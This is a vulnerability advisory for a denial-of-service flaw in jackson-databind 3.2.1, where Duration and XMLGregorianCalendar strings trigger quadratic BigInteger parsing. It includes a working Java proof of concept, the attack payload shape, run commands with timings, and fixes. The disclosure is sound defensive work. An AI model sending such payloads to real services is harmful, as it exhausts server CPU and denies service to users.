CVE-2026-68497: jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS

### Summary `jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration. ### Details `StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check. `CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory: ```java protected Object _deserialize(String value, DeserializationContext ctxt) { switch (_kind) { case TYPE_DURATION: return _dataTypeFactory.newDuration(value); // attacker lexical string case TYPE_G_CALENDAR: Date d; try { d = _parseDate(value, ctxt); } catch (DatabindException e) { return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return _gregorianFromDate(ctxt, d); } throw new IllegalStateException(); } ``` Per the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `"P" + "9"×N + "Y"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137` — `newDuration(value)` (TYPE_DURATION) - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147` — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback) - Registration (default, no opt-in): `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46` (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`) - Contrast — correct length-guard pattern already used elsewhere in the library: `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139` ## Proof of Concept PoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only "special" element is a normal DTO exposing a `javax.xml.datatype.Duration` field. ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration; /** * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. */ public class Vuln07_DurationDoS { public static class Cfg { public Duration ttl; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5_000_000); // Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms"); String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } } ``` Minimal HTTP-shaped payload (what an attacker sends): ```json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000 ``` An `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g. `{ "at": "0000-01-01T00:00:00." + "9"×N }`. ## Execution Steps The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works). ```bash # 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # If not already cached, fetch them once, e.g.: # mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 # (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps) # 1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java # 2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS # 3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS ``` The `digits` system property controls the number of `9` characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further. Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`. ## Reproduction Evidence Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes: **digits = 5,000,000 (~5 MB payload):** ``` Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` **digits = 1,000,000 (~1 MB payload, for fast repeatability):** ``` Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` Interpretation: a normal `"P1Y"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core's `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded). ## Impact An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing. ## Recommended Fix Apply the same validate-length-then-parse idiom the core `NumberDeserializers` already use: 1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before calling `newDuration(value)` / `newXMLGregorianCalendar(value)` — e.g. reject inputs longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound), routing over-length input through `ctxt.handleWeirdStringValue(...)`. 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to `DatatypeFactory`. 3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must be length-limited at the transport layer.